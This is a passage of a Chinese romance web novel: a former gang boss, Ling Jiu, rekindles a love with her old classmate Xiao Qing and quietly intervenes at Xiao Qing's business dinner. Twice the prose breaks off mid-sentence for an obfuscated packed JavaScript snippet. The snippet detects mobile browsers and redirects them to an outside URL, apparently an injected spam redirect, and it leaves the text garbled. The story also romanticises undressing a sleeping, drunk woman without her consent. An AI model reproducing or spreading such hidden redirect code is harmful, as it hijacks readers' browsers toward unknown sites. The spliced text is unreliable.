淡淡的薰衣草气味从睡衣之中漫了出来,溜到她的鼻尖之中,温柔得就好像凌酒的指尖。这种安心舒适的气味,也逐渐淡化了她的回忆,淡化了她的清醒,终于引领她回到梦乡。 她,做了一个梦。 梦里面,萧清重新又回到了当年的初中,又回到了当年的班级,班上一个人都没有,除了凌酒,只有她仍趴在座位上,仿佛就好像在等她回来。 只是,凌酒的样子变了,她不再是短发,而是长发及腰,垂落的发丝遮住脸庞,几缕粘在唇上,她似乎睡得很深沉。 萧清刚坐下,凌酒便睁开了眼睛,“你,回来了?” “嗯呐。” 下一秒,场景切换。 课堂。 同桌的凌酒居然不再睡觉,反而像她一样认真听讲,甚至还在写下了黑板的笔记,眼里没有一丝迷茫,只有专注与认真。 课后。 “萧清,我会背书了,要不我背给你听?”凌酒说。 “好。你背,我听。”萧清回答。 凌酒的声音清亮又飞快,像一阵风,唰地就背完了,只留下一脸得意的笑。 萧清心想,她大概很想被人夸吧。 “你好厉害!” 发自内心的表扬。 “咚——” 一只白皙却带着几分力道的手,从她耳侧擦过,将她轻轻抵在墙角。 温热的呼吸扑面而来。 “怦怦怦——” 心跳如鼓,在空无一人的教室里回荡,分不清是谁的,只知道同样急促,同样滚烫。 “我,能吻你吗?” 凌酒脸上的羞红一如天上绚丽的晚霞。 萧清没有回答,她缓缓闭上了双眼,轻轻抬起了头。 “叮铃铃!” 起床的铃声尖锐地响起,一如当年的上课铃声。 萧清猛地睁开眼,脸上还残留着未褪的潮红,胸口剧烈起伏。她一时分不清,刚才那是梦,还是早已被尘封的过往。 她只想再睡一会儿,很困,很困。 可,闹钟依旧不依不饶。 “凌……酒……”萧清笑了笑,“算了,起床!” 她一向说一不二,翻身下床,这一动她便发现裤子上一片湿凉黏滑。 “啊……不是吧?” 萧清坐在床头,关上了闹钟,扶着额头,黑着脸,双眼圆睁,不可置信地看着自己的裤子。 上一次做这样的梦……是什么时候来着?不对,她好像从来没有这么…… “啊啊啊啊啊!” 冷静过后,她从衣柜之中挑好衣服,走向了浴室。 她打量着镜中的自己,黑色牛仔裤,蓝色条纹衬衫加摇粒绒外套,只是黑眼圈重得已经让人无法忽视的地步了。 萧清并不是一个喜欢用化妆品的人,对她而言,她觉得护肤要远比化妆的人,换而言之,她并不常化妆。 她对着镜子,一点一点地遮瑕膏涂抹在脸上,但是效果却只是差强人意。看了看手表,时间已经来到8点15分。 她叹了口气,心想:算了,上班要紧。 “叮,一楼到了。” 电梯门打开,一道身影撞入眼帘。 紧身蓝牛仔裤,白色露肩毛衣,肩上黑龙纹身若隐若现,一头长发用红色发带随意束起——不是凌酒是谁。 此刻,她正双手交叉于胸前,吐着一个粉红色的泡泡,本来是一副生人莫近的样子,一见到萧清出现,马上把口香糖吐在纸巾里扔掉,那双冰霜般的眼睛瞬间点燃,只剩下兴奋与期待。 好像一只等待主人的大狗狗! 这个想法毫无预兆从萧清的脑海里面蹦了出来。 “早……早上好!”凌酒僵硬地挥着手。 “你等了多久?”萧清掩着嘴轻笑,“所以,你想干嘛?” “送你上班,可以吗?” 门外,阳光明媚。 阳光正好落在一辆巨大的黑色摩托车上,显得威风凛凛,这本是萧清这辈子应该都不会主动触碰的东西,此刻她却接住了凌酒递过来的白色头盔。 “上来呀。”凌酒跨坐在车上,姿态利落。 萧清的目光也被那修身牛裤子勾勒去的臀部曲线所深深吸引,心底默默感慨:“她的身材,真好。” “阿清,公司名字是什么?” “哦哦。”萧清如梦初醒,“星鸿传媒。” “还挺近的,五分钟可以去到,等一下抱紧我,知道吗?” “你别开那么快!” 发动机发出“轰隆隆”的声音,如野兽嚎叫一般,萧清害怕地紧紧抱住凌酒的腰,整个人贴在她的后背上,凌酒感受到身后的柔软,嘴角悄悄上扬。 她松开刹车,车子平稳驶出。 一点都不吓人,速度甚至慢得可以悠闲看风景。 这时候,萧清才意识到,凌酒肯定在抓弄自己。她轻哼一声,双手握紧两边的扶手,弯着腰倚靠在后备箱上,完全不与凌酒接触。 风,凉爽的风,从脸庞吹过,吹走了萧清的困意,阳光落在身上她们的身上,全身都显得暖洋洋的,她觉得坐摩托车来上班也许是一件挺不错的事情。 很快,车停了,停在一座白色的大厦门口。 来来往往的人群无不朝她们的方向看了过来,眼神尽是好奇,但是这种情况只维持了几秒,沉重的班味已经把他们的思维占领,没有什么比上班打卡要来得重要。 “谢谢。” 萧清把头盔递回给凌酒,同时拨了拨自己有点凌乱的头发。 凌酒忽然整张脸凑了过来,这时候萧清才注意到她的嘴唇薄如花瓣,淡棕红色,在阳光下泛着柔和的光,与气质格外相衬。 这一刻,萧清立刻联想起昨晚那羞耻的梦,脸一下便红了,大脑当场宕机,全身僵硬,呆若木鸡。 “你的遮瑕化得不好,我来帮你吧。” 指尖一触到萧清脸庞时,凌酒便已感觉到她脸上的温热,于是她小心翼翼地把一些涂得重的遮瑕膏散开,再拿出随身携带的化妆小盒子,用小刷轻轻修饰。完成之后,凌酒后退一步,不禁自豪地点点头,显然对自己的手艺十分自信。 只是,太过专注的她,错过了萧清失控的心跳。 “你看。” 凌酒把小镜子递到她面前。镜中人黑眼圈彻底隐去,遮瑕与肤色完美融合,脸颊那一点淡红恰到好处,整个人瞬间显得容光焕发。 “你的技术怎么那么好?” “视频学的。”凌酒挠了挠发烫的耳尖,“我以前做过帮人化妆的工作。” “那,我进去了。”萧清背过身。 “今晚我可以来接你吗?” “你不用看店吗?” “我是老板,老板总是有点特权。” “真好,老板。我…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416251|200774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大概7点下班。” 话音刚落,萧清便一溜烟似的快步离开。 如果再不走,也许这个班真的不用上了。 公司大堂。 有一个黑影,迅速从门一旁的座椅上冲了出来,一手搭在萧清手中,突如而来的力度,萧清“啊”地一声像一只受惊的兔子一样几乎整个人弹了起来。 “做贼心虚!快说,刚才门口那个女人是谁!我们的堂堂组长,可不是那种会坐摩托车来上班的人。” 这个人语速快得像炮弹一样,在耳边一连串输出。 “阿月,我好歹是你上司,今天你是不想准时下班了?”萧清露出了“最和蔼”的微笑,看向这个初中到现在的好友兼死党,眼神中的“友善”满溢而出。 “报告组长,我、要、准、时、下、班!”阿月做出一个标准的敬礼动作,下一秒却低声说:“但是,我也想要八卦。” 萧清一个人头也不回地走进电梯,打开手机,时间卡在8点28分,刚好勉强没有迟到。在只有两个人的电梯里,任由阿月如何软磨硬泡,萧清始终一言不发。 “叮!” 八楼,策划与运营部。 萧清开口说:“以后再跟你讲,公司不谈私事。” “是的,长官!保证完成任务!” 说罢,阿月抢先一步出门,像一个士兵一样大踏步走向自己的工位。 萧清推门而入,环视四周,所有人已经坐在自己的位置面前,没有一人迟到。 她收起了笑容,严肃地开口说:“相信各位都已经看见昨晚我给你们发的消息了。这次与飞鸿集团合作的珠宝展览,对于我们公司来说,是一个非常重要的项目,不容有失。所有需要修改的地方我都已经批注好,记住,深度挖掘珠宝背后与人的故事,但是把握好使用ai的度。尤其是这份方案下午魏总急需,各位务必在中午之前改好。” “是……”一片死气沉沉的声音。 “我也知道大家辛苦,所以今天的咖啡和下午茶,我请。” “谢谢组长!” 整个部门瞬间打了鸡血一样,重新活了过来。 “喂,是萧小姐吗?你的外卖到了,给你放哪里?”电话对面的小哥气喘吁吁地说,“门卫需要你跟他说一声。” “好。”萧清打开免提,手依旧敲打着键盘,“门卫,我是八楼的萧清,麻烦你指引一下,让外卖小哥把咖啡放在大堂,等一下我们部门会有人下去拿。” “咕——” 刚挂断电话,她的肚子毫无征兆地响了起来。这时候,萧清才意识到,今天好像忘记吃早餐了。她看了看时间,已经9点20分了。 再点早餐,感觉就不用在吃午餐了,算了,别浪费时间了。 萧清还是决定忍一忍,她拨打了阿月的电话,说:“咖啡到了,麻烦你叫多一个两个同事一起去大堂拿一下。” 电话那头传来兴奋的声音,“你真是世界上最好的组长!!!” 十分钟后。 “阿清,你还叫了其他外卖吗?” 阿月把咖啡和一个粉红色的保温瓶放在萧清的办公桌上,揭下了瓶上的便利贴,上面的字就像初中生写得一样,一个大一个小,只有三个字——给萧清。 萧清从电脑旁伸出头,疑惑地说:“没有啊。” “这个保温瓶给你的,你看看吧。” 说完,阿月便蹦蹦跳跳地走出办公室。 “咦?” 萧清看着那张黄色的便利贴,再看了看上面的字,心想:这是谁?难道是星克的赠品? 她小心翼翼地拧开盖子,一股淡淡的清香便迎面扑来,与昨晚不同,少了浓郁的海鲜味,却还原了面本身的味道,那诱人的味道,令人食欲大开的色泽,隐藏的饥饿感一下子被勾了出来。 凌酒,你是怎么知道我没有吃早餐的? 萧清拿起手机,打开联系人那一栏,一个一个地寻找,可是始终找不到凌酒的名字,这时候她才意识到,她们连联系方式都没有交换,更别说微信了。 下班了……再问吧。 她翻开凌酒在隔层里面备好的塑料折叠叉子,卷起面条缓缓送入口中,面条出人意外地并没有被汤水泡烂泡软,依旧筋道十足,往底层一番,居然有十多颗云吞,全部都是猪肉马蹄馅,每一个咬下去都欲罢不能。 这是她刚刚做好的? 这当然是凌酒新鲜做好的。 在看着萧清走进大厦那一刻,凌酒内心忽然萌生了一种奇异的预感——她连化妆都那么着急,会不会连早餐都没有吃呢?如果再像昨晚一样只顾工作,会不会连早餐都选择不吃呢? 这让凌酒想起初三时候的日子,那时每一个都在为中考而努力学习,当然并不包括凌酒,但是凌酒却依旧是最早起的一个,只为了带早餐,让萧清可以再睡多那么一会儿。 那时候有一次,她睡过头了,回到课室的萧清发现没有早餐,直接选择埋头学习,最后还得是她跑着拿过去,面对面盯着她,萧清才愿意把面包一口一口吃完。 赌一把,如果她真的已经吃了,那更好。 凌酒戴上头盔,转身就去驶向市场,买最好的猪肉,最新鲜的马蹄和饺子皮,以及那家她常买的面,一切都买齐了之后,她火急燎燎地跑回家里,剁肉,做馅,包云吞,烧水,调味,下锅,出炉,一气呵成。 她还担心萧清没有筷子,专门拆开了一包方便面,把其中的塑料叉子放在隔层,提着保温瓶又朝大厦方向冲去。 恰好撞见了外卖小哥提着一大箱咖啡站在门口,走上前去的凌酒机智地说:“这也是萧清的外卖。” 于是,她光明正大地走进了大堂,借了大堂的便利贴和纸,写下了狗爬一样的字。 做完这一切,凌酒在门口痴痴张望,看见有人下来拿走她的保温瓶才心满意足地离开。 “一定要注意吃早餐呀,阿清。” 4. 第四章 夜晚六点二十分。 萧清在办公椅上舒服地伸了一个懒腰,外面灯光明亮,却早已空无一人。等她跟魏总一行人开完会汇报完,回到办公室时,已经五点了。距离下班还剩下半个小时,她便把相关修改意见发了下去,揪着一个一个负责人修改,最后才得以正常下班。 结果就是,只剩下她一个人又要重新汇总,重新审核,还要修改润色,最终萧清在独自一人的办公室又工作了几乎一个半小时。 “叮——” 电话忽然响起,对面响起魏总的声音:“小萧,你还没有下班吧?” “还没有,怎么了?” “等一下七点,客户那边再详细讨论一下方案,地点在飞花寿司店。你跟我车一起去。” “魏总,详细方案你应该很清楚了吧?” “阿清,有你在总还是安心一点嘛,毕竟你是项目负责人啊!”魏总换了一种朋友的语气说,“而且听说飞鸿集团以前是□□出身,你可得陪陪我。” “这都是听谁说的……”萧清无可奈何,“魏白敛!我求你放过我……” “诶呀,大不了私底下我补贴给你!不过据说那家寿司挺好吃,你就当陪我一起去吃个饭。” “这能一样吗?” “我现在在车上等你。” “今晚有人接我,你先去吧。” “好好好,记得提前十分钟,带好资料。” “好的,魏、总。” 萧清匆匆忙忙跑出大门,又迎面被撞上一股冷风,捂着鼻子,打了一个大大的喷嚏。 “穿上吧,晚上冷。” 凌酒自然地接过她手里的公文包,目光落在她微微泛红的鼻尖上,带着几分不易察觉的心疼。 “好。”萧清乖乖披上。 “回家也要工作吗?”凌酒扶着摩托车把手,轻声问。 “不好意思,凌酒。我还不能回家,能先送我去飞花寿司店吗?” “可以。” 凌酒回答得很迅速,但眼神之中仅是落寞,心想:本来也只是送她回家,回家之后,也还是一样要各奔东西。既然这样,又有什么区别? 凌酒一边安慰着自己,一边在地图上搜索寿司店的位置。 萧清在后视镜之中把她的表情看得一清二楚,轻轻往前靠了靠,贴在她的后背上,说:“工作原因,我也讨厌这些应酬。” 那就不去。 换做以前,凌酒肯定会脱口而出,然后自以为是地开车带她到处去玩,去吃饭。但是现在,凌酒也已经慢慢成熟,她清楚世间有些事情本就不能勉强,自以为是的前提是不要给别人再添麻烦。 凌酒始终没多说,只是稳稳握住车把,声音轻而认真:“我知道,到时候吃完告诉我,我再来接你。” “嗯呐,到时候你再请我吃宵夜。” 一句话,瞬间把凌酒心里那点低落冲得干干净净,她嘴角忍不住往上扬:“好。” “手机给我。”萧清戳了戳她的后背。 “我认识路。” “不是,加微信,不然等下我找不到你。” “滴——” 好友添加成功。 萧清看着屏幕上那个简单的单字——久,心跳猛地漏了一拍。 头像是一只兔子玩偶,黄色的兔子玩偶,就跟她床头的,抱了好多年的,一模一样,细看还可以隐约看见环抱兔子腰间的一双手。 这画面,她怎么可能忘? 这一组照片现在也仍被锁在隐藏相册,哪怕换了多次手机,这组照片也依旧没有丢。 那是她们确认关系之后的第一次约会。 那天,她收到了凌酒的第一个礼物,心情兴奋得无法用世间任何语言来形容。那天,她们一起去了游戏厅,凌酒握着摇杆的手指漂亮又灵活,轻易而举横扫全场,笑得张扬又耀眼。 曾经那放肆的笑容,这辈子她都不会忘记。 约会的最后,她们第一次一起拍了大头贴。 所以,这个头像完整的样子是,凌酒突然埋进她颈窝,发丝蹭得她直笑——这头像,正是从那张照片里截下来的。 只截了属于她的那一小部分。 萧清指尖微微发颤,默默把手机还给她。 她从未忘记,而自己…… “坐稳,出发了。” 飞花寿司店门口。 萧清不知道自己是怎么走进去的,她的脑海里仍是刚才一路上的车水马龙,仍在眷恋着曾经凌酒后背的温暖与安全感。 “你好,这位就是萧组长,是吧?”一个中年男人伸出手。 “你好。”萧清机械地伸出手。 往后,寿司一个一个上,一行人吃得开开心心,唯有萧清一个人味同嚼蜡,除了介绍方案之外,几乎一言不发,只是在旁边呆呆地陪笑。 “诶,你没事吧?”魏白敛小声问。 萧清笑了笑,笑容苍白而无力,“没事。” 下一秒,她却主动拿起酒杯去敬酒,一杯又一杯清酒,像水一样,倒进她的胃里。举杯邀愁愁更愁,这种道理她哪能不清楚,只是,当一种愁浓得几乎没有办法再化开的时候,便只有酒能解。 何以解忧,唯有杜康。 店外。 凌酒并没有离开,只是找了家附近的商场,停好摩托车之后,她点亮手机,灯光照亮她苍白的脸,映照着她犹豫不决的眼神。 “你好,我是飞鸿集团这次展览的负责人。” 刚才男人与萧清握手的画面一直在她脑海里挥之不去,她清楚这些工作上的东西不应该干涉,但是下一秒,巨大的黑眼圈,无奈的声音,萧清的倦态却历历在目,仿佛随时都会倒下。 手机屏幕上只有一个电话号码,一个备注为“阿飞”的电话号码,一个她这辈子都不会忘记的电话号码。 她,本不应该再拨打的。 电话通了。 对面却没有声音,只有寂静。 “阿飞,是我。”凌酒开口。 “红姐。”对面传来一股淡然的声音,但其中喜悦之意却一览无余,“我打开免提,各位,猜猜是打电话过来?” “各位,好久不见。”凌酒打了声招呼。 电话对面那头,正是如今飞鸿集团背后真正的话事人——赵飞霞。 他便是当年凌酒过命的兄弟,跟着她一步一步打下红花会,属于是曾经红花会的二把手,凌酒退下去之后,如今理所应当便是这庞大的商业帝国——飞鸿集团的真正主人。 此刻,这个房间里,恰好聚集了曾经红花会几乎所有元老。 “喂,红姐!还记得我吗?铁头七!”一股粗鲁的声音响起。 “哈哈哈哈哈哈,当然记得,老七,你的头还有没有当年的硬啊!现在还能一口气撞穿十块砖头吗?”凌酒倚靠在摩托车上,那股谁也不服的傲气慢慢又浮现在她脸上。 “现在哪止十块啊!”铁头七自豪说。 “你可别听他乱吹,红姐姐,你现在在哪里?我叫阿飞过来接你呗,咱们聚一聚如何?”一个娇媚的女声说。 “三水妹,你现在跟阿飞结婚了不?以前就看见你们两个腻歪在一起。”凌酒打趣道。 “红姐,回来吧。” 电话那头所有人异口同声地说。 每一个人都在盼望着曾经叱咤风云的“女儿红”重出江湖,如今他们已什么都不缺,这些年的风风雨雨已磨平他们曾经的棱角,曾经的热血,曾经的放肆,已化作他们饭后的闲谈。 而,这个话题,永远绕不开一个人——“女儿红”凌酒。 只是,他们同样知道,有些事情是无法回去的。 凌酒抬起头,忽然很想哭,但是她强忍住泪水留下来,因为她还有正事要跟他们说,现在还不是感慨的时候。 “阿飞,能帮我件事吗?” “说。” “飞花寿司店是你们集团的吧?你能帮我查一下3号包厢那些人的信息吗?” 她始终不允许还有人去伤害到萧清,哪怕只有苗头,她也要及时掐断。 “十分钟之后,我发给你。” “好。” 凌酒最欣赏得便是赵飞霞那股较真的狠劲,他从不托大,只会像疯狗一样拼尽全力去完成一件事情,这方面没有人比得上他。 十分钟后。 电话果然准时响起。 “有两个是星鸿传媒的人,一个叫魏白敛,一个叫萧清。另外还有三个是我们的人,我们未来有一个珠宝展览,他们正在讨论展览的策划与宣传。如果是我们的人做错了,要不要……” 赵飞霞如今也贵为飞鸿集团的实际掌控者,这些本就是集团的机密,可是如今他却毫不遮掩地完整说出来,甚至只因她凌酒一句话,随时准备撤下项目负责人。 “哪个王八羔子,敢动我们红姐的人?阿飞,这事你得严肃处理!”铁头七在那边大声嚷嚷。 “不用,帮我带句话,别给对面灌酒。” “好。”赵飞霞顿了顿,“当年……” “好汉不提当年勇。”凌酒及时打断,“我的选择,与你们无关。” “你……真的不回来?” “回去管理公司?”凌酒摆了摆手,“这方面,你可比我强多了。现在,我总不能把每一个竞争对手给揍一顿吧?” “哈哈哈哈哈哈哈!”爽朗的笑声。 “谢谢。”凌酒轻声说。 “不,是我谢谢你。”阿飞轻声说,“这是我欠你的,以后有需要,尽管开口。” 晚上八点三十分。 “滴。” 凌酒点手机屏幕上弹出一条信息——快吃完了。 “滴。” 又一条——快来接我,头痛。 “我就在门口。” 凌酒输入完之后,直接推门走进了寿司店。 奇怪的是一路走过,每一个店员都对她微微低头,连大气也不敢喘。带头一人直接上前一步,低声道:“红姐,三号包厢在这边。要说的话,我已经带到。” 凌酒点头,脚步未停。 “咔嚓。” 门,被推开了。 五双眼睛齐刷刷看过来,空气瞬间凝固。 凌酒没看任何人,目光只落在桌边那个脸色醺红、眼神发虚的萧清身上。她上前一步,伸手稳稳牵住萧清的手,另一只手轻轻托住她发软的腰肢,将人半扶半抱地带起来。 凌酒牵起萧清的手,托着那柔软的腰肢,站了起来。醉意上头的萧清只是闭上眼睛,安安静静地枕在她的肩膀上,那是一个并不宽广却足够舒服的肩膀,一如从前。 “李先生,这次的方案,没问题了?” 不是问句。 只是,通知。 “是是是,没有问题了。”那个中年男人哪里还有刚才的嚣张,只剩下点头哈腰的温驯,“魏总,这次展览就按方案的来,这次方案已经很完美了,非常完美。” 魏白敛皱着眉,上下打量她,目光落在肩头那栩栩如生的黑龙纹身,语气带着警惕:“你是谁?我从没听阿清提过你。” “你不知道的事情,还很多。”凌酒眼里没有一点笑意,只剩下如刀一般的寒冷,“比如,我现在就要带走萧清。” 魏白敛心头一凛。 凌酒的气场太强,不是商场上的客气周旋,是真正见过风浪、握过生死的江湖气。 她忽然明白—— 眼前这个人,不是一般的人。 是能一句话,就让一整间包厢的人全都低头的人。 萧清,怎么会与这种人有关系? 不对……还有飞鸿集团? “白敛……”萧清勉强睁开眼,声音轻得像羽毛,“我想请假。” 魏白敛看着她泛红的眼角、微醺的脸颊,终究是软了下来,她站起来抬手,轻轻拍了拍凌酒的肩膀,语气郑重,“今晚好好照顾她,凌酒。” 凌酒二人远去之后,魏白敛问:“飞鸿集团,就是当年的红花会。她就是那个入狱被判八年的‘女儿红’,对吗?” 小区楼下。 “回到我家,还是去你家?” 凌酒背着萧清走过一个又一个路灯,灯光之下,两个人的影子合成一起,就像一个站立的蜗牛。 “我想吐,好难受。” 萧清埋在颈窝,温热的气息拂过凌酒微红的耳朵。 “那个人给你灌酒?”凌酒一字一顿地说,“我不会放过他。” “不是。”萧清睁开眼睛,伸手揉了揉凌酒的脸颊,借着醉意她的胆子也渐渐变大,“你的脸好软诶,就好像果冻一样,好舒服,我再捏捏~” “那怎么肥事?”凌酒勉强吐出几个字。 “我自己想喝。我感觉我,对不起你。” 声音越到最后,越轻越小。 “你没有对不起我。”凌酒双臂收得更紧,“当年,提分手的是我,不是你。” “但是,你却一直没有忘记。你的头像,是当年我们的照片。而我,却放弃了你。” “噗嗤。”凌酒笑出声。 “你笑什么?” “有没有可能,我是昨晚才偷偷换上的?目的就是想要告诉你,我很想你?” “我也很想你,很想很想。” “八年,我坐了八年,我有什么资格让你等一个犯人八年?何况如今你有你的未来,有你的生活,我高兴还不及呢!” “如果,当年……”萧清忍不住幻想。 “你醉了。所以,回你家还是去我家?” 凌酒及时打断,这八年的牢狱生活,已让她幻想过无数次未来,幻想过无数种可能,现实却是无尽的铁栏,所以她心里早已种下了后悔,如今她已不会再去幻想,只想专注现在,只想和现在的萧清在一起。 “我家干净,当然是我家。” 萧清懂事地避开话题。 八年,凌酒心里的遗憾,一定比她多得多。 萧清家门口。 门上的猫眼与凌酒大眼瞪小眼,彼此都不愿意退一步。凌酒唯有尴尬地站在门口,耳边传来地的是萧清规律而安详的呼吸。 她睡着了,睡得很沉。 凌酒怎忍心叫醒? 她只有小心翼翼地慢慢挪动后背的人儿,一手托腿,一手扶腰,稳稳将萧清打横抱起,动作轻得没惊动半分睡梦。 她抬起萧清右手的大拇指,放在门锁上,心中暗暗祈祷:一定要也是这根手指! “滴。” 门,如愿以偿地打开了。 凌酒的心也随之心跳加剧,这是她一次进入萧清的房子,这种感觉就好像偷吃禁果,就好像故意越线,有种莫名的刺激与兴奋。 灯,亮了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416252|200774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>整洁干净有序,几乎一尘不染,阳台的花在灯光衬托之下,更娇艳动人。玻璃柜上,摆放着各式各样的可爱手办,有小猫的,有鹦鹉的,有企鹅的,甚至还有一些关于寿司的拟人手办,温馨而可爱的生活气息迎面扑来。 虽是一模一样的布局,可凌酒从未想过自己的房子也可以那么漂亮,怪不得萧清总是在嫌弃,现在对比下来,自己的房子真的与狗窝无异。 凌酒深吸一口气,推开了萧清的房门,首先印入眼帘的是纯白无瑕的床铺,被子方方正正地叠好放在床尾。 凌酒在心里暗暗吐槽:原来真的有人会像军训一样叠被子啊。 下一秒,凌酒目光落在床头那只几乎已经泛黑的兔子公仔,视线再也挪不开。 曾经与萧清在一起的画面,一幅一幅在她脑海里面播放,让她几乎忘了怀中的萧清还在沉睡。 “你也一直记得。”凌酒一脸宠溺怀中温热的人儿,“哼,我还以为你真的全忘了。” 她轻轻把萧清放在枕头上,楞楞地看着那柔软的嘴唇,忍不住伸手还是戳一戳她的绯红的脸蛋,触感细腻得不像话,这一戳反倒让她更不满足,干脆上手轻轻揉捏。 “唔……唔……” 睡梦的萧清好像也感觉到脸上的手,开始发出不满的轻哼。 “差点忘了。” 声音打断了凌酒的动作,她转身走进了浴室,用白毛巾沾了点温水,敷在了萧清的额头。 凌酒看着这可爱的睡美人,她想了想,还是先帮她换身衣服舒服点——反正昨天也做过一次。 脱下了摇粒绒外套之后,穿着衬衫的萧清毫无防备地躺在她面前,微微低头便能感受到那温柔的气息浮动鼻尖。 凌酒的脸,一下子也变得通红。 一颗纽扣。 两颗纽扣。 三颗纽扣。 …… 嫩白如雪的肌肤一点一点展现在她的眼前,居然还带着与她一样的薰衣草气味,视觉,嗅觉,触觉三个感官轮番冲击着凌酒的大脑,让她产生了口干舌燥的正常反应。 指尖每解开一颗扣子,都在微微发颤。 “你……在干什么?” 萧清睁开眼,幽幽地看着跨坐在自己身上的凌酒,她还能感觉到,那粗糙的手指还停留在自己的腹部,冰冷的温度让她不禁整个人抖了一抖。 “那个……换衣服,我在帮你换衣服。”凌酒心虚回答。 “那你为什么不敢看我?”萧清抬起头,细细观察凌酒的脸,“你的脸好红,怎么,你也喝酒了吗?” “没……没有。” “色鬼。”萧清轻轻吐槽,“出去,我自己换。” “哦……哦哦哦!”凌酒紧张得只会单字应答,声音宛如一只忍不住啼叫的公鸡。 客厅里。 凌酒如坐针毡,整个人腰板挺直,后背的冷汗一层又一层冒出。 整个房子静得可以听见萧清在卧室衣服摩擦的声音。 我……我……我在干什么!凌酒,冷静,冷静,昨天你才没有那么紧张。 “啪叽。” 门打开了。 萧清缓缓走了出来。 简简单单一条白色睡裙,头发被随意扎成一个丸子头,脸却似乎比刚才还要红几分。 凌酒呆呆地看着面前的萧清,这是不一样的萧清,这条睡裙超级适合她,好可爱!她的目光毫不掩饰地发出赞叹的光芒,仿佛在看一件完美的艺术品。 可凌酒依旧低估了她的定力,最终她的目光仍停留在那V字的领口。 “还看!”萧清举起拳头,佯作生气的模样。 “没……没有!”凌酒像个作弊被发现的学生一样立刻低下头,“我只想说,这睡裙非常适合你!” “我知道。”萧清坐在她旁边,“你还想说,我穿什么衣服都好看,是吧?” “你怎么知道?” “哈哈哈哈哈哈哈哈哈。”萧清笑得眉眼弯弯,“因为,你以前也是那么对我说的,只不过当年没有那么色眯眯。” “才没……”凌酒越说越没有底气,只能老老实实承认,“就看了一点点。” “就看在你今天那么帅的情况下,我就原谅你一回啦,色鬼。” “才不是色鬼!”凌酒依旧想拜托这个称呼。 “就是!就是!”萧清疯狂打趣,就是不肯退让。 凌酒最后叹了口气,只能投降,“今天是,明天就不是了。你呢?大酒鬼,现在好点了吗?” “嗯呐,好多了。”萧清摸了摸太阳穴,“就是吧,头好像还有点痛。” “我上去给你拿点醒酒茶吧,刚好也把衣服还给你。” 凌酒话音刚落,便发现萧清的脸色又红了几分,指尖还有点不安分地捏着膝盖的裙摆,她忍不住好奇问:“衣服怎么了?难道,你把我的睡衣弄脏了?” 一提起睡衣,昨晚那该死的梦,一下子又出现在萧清脑海之中,本来她已经忘了。 她硬着头皮回答:“咳咳,我想说,你的睡衣我也洗了,在晾着呢,我去拿给你。” “咻”地一声,萧清逃进阳台,把那淡紫色的睡衣一件一件挑了下来,认真折好之后,郑重地交在凌酒手中。 凌酒看着睡衣,又看向萧清,忽然开口:“萧清,你这房子是买的,还是租的?” “当然是租的,哪里有那么多钱买。”萧清没好气地说,“不是每个人都像你那么有钱啦,大、老、板。话说,你怎么会那么有钱?” “钱嘛,多少攒点。”凌酒笑了笑,“要不你搬上来和我一起住?这样子不是更省钱吗?也……也方便我照顾你。” “哦,你是想当我包租婆了?” “我不会收你钱。” “哦,你是想包养我?” “才不是!” “凌小姐,本来还想夸夸你今天的表现,但是现在看来,你考察失败!” “啊?” “哈哈哈哈哈哈哈哈哈。”萧清看着那崩溃的模样,忍不住捧腹大笑,捉弄凌酒比她想象得要好玩得多。 “咳咳,开玩笑啦。”萧清眨了眨眼,“你那边还乱七八糟,我这边还有租约没有满,等你什么时候整理好了,我再考虑考虑。” “萧小姐,那我现在这是考察成功,予以试用?” 凌酒舔了舔唇,把萧清逼在了墙角,“咚”地一声,右手拦住了想要逃跑的小白兔,梦的一幕完美在现实之中复刻。 调戏这方面,凌酒从不服输。 “得寸进尺!你想干嘛!” 萧清只能死鸭子嘴硬,看着那近在咫尺的红润樱唇,不禁咽下一口口水。 “啪。” 睡衣散落一地。 下巴。 萧清的下巴被一只手微微抬起。 难道,她想…… 萧清缓缓闭上双眼,整颗心脏几乎就要炸开一般。 “嗯,得寸进尺。” 又苏又欲的气息扫过萧清的耳朵,一下子变得通红。下一秒,嘴唇轻轻覆了上去,牙齿轻轻摩挲着柔软的小果冻,薰衣草的气味像火焰一般入侵地萧清的鼻尖。 “啊。” 萧清的齿缝之间漏出一声轻哼。 “你放……开……” 柔软的反抗。 “好,那罚我,一整天陪着你。” 5. 第五章 早上。 窗帘滤去刺眼的阳光,只留一道白色的暖光,轻轻落在床铺与萧清脸上。 萧清下意识拿起怀中的公仔,盖在自己的眼上,企图逃避白天的到来,她还想继续睡,昨晚醉酒的头痛比她想象得更厉害,幸好凌酒提前帮她请了个假,不然今天要她上班,可能真的把她的小命也夺走了。 不一会儿,萧清又重新投入梦乡甜甜的怀抱。 转身的声音清晰地传到凌酒耳中,因为她的耳朵正紧紧贴在房间的木门上,她向来听力很好。 为什么凌酒会一大早出现在这里? 如果现在问凌酒,她的回答应该是,我想在哪里就在哪里,用得你管。 实际上,昨晚凌酒硬是软磨硬泡了十多分钟,就差磕头跪下,萧清才勉强同意她睡在客房,前提是不允许把她的东西搞得乱七八糟。 九点。 时针恰好停在“九”的位置。 凌酒走进厨房,扎起了长发,擦洗着早已解冻的猪肉,握着刀一片一片切下,撒少许盐与蚝油调好味,搁在一旁。 